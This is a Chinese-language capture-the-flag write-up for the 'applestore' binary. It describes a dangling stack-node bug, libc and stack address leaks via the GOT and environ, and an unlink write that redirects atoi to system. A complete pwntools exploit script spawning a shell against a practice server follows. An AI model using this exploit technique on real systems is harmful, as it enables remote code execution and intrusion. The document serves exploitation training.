首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在checkout函数中,如果v1=7174,则把这个函数里的临时节点链接到了链表当中,这就存在了局部变量外部引用的漏洞,通过其他函数,我们可以控制v2节点的内容,进而可以泄露信息等。
控制其name指针指向got表,然后调用cart函数即可泄露地址
通过伪造其next和prev指针,在delete里,没有free操作,只是一个双向链表的解链操作,在这里可以unlink攻击
假如v4设置为system函数地址,v5设置为atoi函数的got表,这会崩溃,因为在执行v4->prev时,将会往system代码处写数据,而那处是不可写的。我们可以将v4设置为atoi_got+0x22,然后将v5设置为ebp_addr-0x8,这样,unlink后,栈里ebp的位置被写入atoi_got+0x22,当程序退出该函数时,来到handler函数,而此时ebp就是atoi_got+0x22,ebp-0x22就是atoi_got的位置,这样,通过read(&nptr,0x15)这里就可以改写atoi的got表为system,然后getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import *
sh = remote('node3.buuoj.cn',25466) elf = ELF('./applestore') atoi_got = elf.got['atoi'] libc = ELF('./libc-2.23.so')
def add(type): sh.sendlineafter('>','2') sh.sendlineafter('Device Number>',str(type))
def delete(index): sh.sendlineafter('>','3') sh.sendlineafter('Item Number>',str(index))
def cart(payload): sh.sendlineafter('>','4') sh.sendafter('Let me check your cart. ok? (y/n) >',payload)
def checkout(): sh.sendlineafter('>','5') sh.sendafter('Let me check your cart. ok? (y/n) >','y')
for i in range(6): add(1)
for i in range(20): add(2)
checkout() cart('y\x00' + p32(atoi_got) + p32(0) * 3) sh.recvuntil('27: ') atoi_addr = u32(sh.recv(4)) libc_base = atoi_addr - libc.sym['atoi'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() environ_addr = libc_base + libc.sym['environ'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) print 'binsh_addr=',hex(binsh_addr) print 'environ_addr=',hex(environ_addr)
cart('y\x00' + p32(environ_addr) + p32(0) * 3) sh.recvuntil('27: ') stack_addr = u32(sh.recv(4)) print 'stack_addr=',hex(stack_addr) ebp_addr = stack_addr - 0x104
fake_item = p32(0)*2 + p32(atoi_got + 0x22) + p32(ebp_addr - 0x8)
delete('27'+fake_item)
sh.sendlineafter('>',p32(system_addr) + ';/bin/sh\x00')
sh.interactive()
|